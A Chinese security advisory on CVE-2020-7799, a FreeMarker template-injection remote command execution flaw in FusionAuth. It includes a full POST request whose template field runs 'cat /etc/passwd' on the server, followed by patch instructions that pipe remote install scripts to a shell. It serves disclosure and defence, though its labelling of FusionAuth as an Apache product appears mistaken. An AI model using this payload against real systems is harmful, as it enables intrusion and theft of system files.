安全研究

安全漏洞
Apache FusionAuth FreeMarker引擎远程命令执行漏洞 (CVE-2020-7799)

发布日期:2020-01-28
更新日期:2020-02-04

受影响系统:
Apache Group FusionAuth <= 1.10
不受影响系统:
Apache Group FusionAuth >= 1.11
描述:
CVE(CAN) ID: CVE-2020-7799

Apache FusionAuth是一个访问管理开源应用。

Apache FusionAuth <= 1.10版本,FreeMarker引擎在实现上存在远程代码执行漏洞。通过验证的用户可以可以编辑电子邮件模板(Home->Settings->Email Templates)或主题(Home->Settings->Themes),从而通过处理自定义模板的Apache FreeMarker引擎中的freemarker.template.utility.Execute在底层操作系统上执行任意命令。此漏洞源于由于使用Apache FreeMarker模板引擎,且未对用户输入数据进行过滤。

<*来源:vendor
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Example POST request (Home -> Settings -> Email Templates -> Preview):

POST /ajax/email/template/preview HTTP/1.1
Host: 192.168.0.3:9011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 796
DNT: 1
Connection: close
Referer: http://192.168.0.3:9011/admin/email/template/edit/2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b
Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807;

primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&emailTemplate.name=COPPA%20Notice&emailTemplate.defaultSubject=Notice%20of%20your%20consent&emailTemplate.fromEmail=no-reply%40fusionauth.io&emailTemplate.defaultFromName=FusionAuth&emailTemplate.defaultTextTemplate=You%20recently%20granted%20your%20child%20consent%20in%20our%20system.%20This%20email%20is%20to%20notify%20you%20of%20this%20consent.%20If%20you%20did%20not%20grant%20this%20consent%20or%20wish%20to%20revoke%20this%20consent%2C%20click%20the%20link%20below%3A%0A%0Ahttp%3A%2F%2Fexample.com%2Fconsent%2Fmanage%0A%0A-%20FusionAuth%20Admin&emailTemplate.defaultHtmlTemplate=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}

建议:
厂商补丁:

Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

参考链接:

https://lab.mediaservice.net/advisory/2020-03-fusionauth.txt
https://fusionauth.io/
https://freemarker.apache.org/
https://www.mediaservice.net/

快速升级:

选择快速安装的用户可以使用如下方法升级FusionAuth到最新版本:

Linux:

使用ZIP包方式安装的用户,首先进入应用的安装目录下,停止当前程序:

/bin/shutdown.sh

进入安装目录的上级目录(例:安装目录为/usr/local/fusionauth,则进入/usr/local/目录),执行以下命令进行升级:

sh -c "curl -fsSL https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.sh | sh -s - -z"

进入安装目录,启动程序:

/bin/startup.sh

使用DEB或RPM包安装的用户,执行以下命令进行升级:

sh -c "curl -fsSL https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.sh | sh"

启动程序:

sudo service fusionauth-search start sudo service fusionauth-app start

Windows:

进入安装目录下,停止当前程序:

net stop FusionAuthApp

net stop FusionAuthSearch

安装最新版本:

iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.ps1')

启动程序:

\bin\startup.bat

详细升级过程可参考官方的升级文档:

https://fusionauth.io/docs/v1/tech/installation-guide/fast-path

手动升级:

选择手动安装的用户可以使用如下方法升级FusionAuth到最新版本:

Linux:

进入安装目录,停止程序并进行卸载:

# 停止程序

/bin/shutdown.sh

# 卸载

rm -rf ./fusionauth-app

rm -rf ./fusionauth-search

rm -rf ./bin

访问以下链接下载最新的程序包(1.14.0版):

https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-app-1.14.0.zip

https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-search-1.14.0.zip

进入安装目录,解压安装包:

unzip -nq new-fusionauth-app.zip

unzip -nq new-fusionauth-search.zip

启动程序:

/bin/startup.sh

       Windows:

       进入程序安装目录,停止程序并进行卸载:

# 停止程序

net stop FusionAuthApp

net stop FusionAuthSearch

# 卸载程序

cd \fusionauth\fusionauth-app\apache-tomcat\bin

FusionAuthApp.exe /uninstall

cd \fusionauth\fusionauth-search\elasticsearch\bin

FusionAuthSearch.exe /uninstall

# 移除原目录

cd \fusionauth

move fusionauth-app fusionauth-app-old move fusionauth-search fusionauth-search-old

访问以下链接下载最新的程序包(1.14.0版):

https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-app-1.14.0.zip

https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-search-1.14.0.zip

将上述压缩包解压后,进行安装:

# 安装

cd \fusionauth\fusionauth-app\apache-tomcat\bin

FusionAuthApp.exe /install

cd \fusionauth\fusionauth-search\elasticsearch\bin

FusionAuthSearch.exe /install

# 启动程序

net start FusionAuthSearch net start FusionAuthApp

详细升级过程可参考官方升级文档:

https://fusionauth.io/docs/v1/tech/installation-guide/upgrade

浏览次数:3046
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障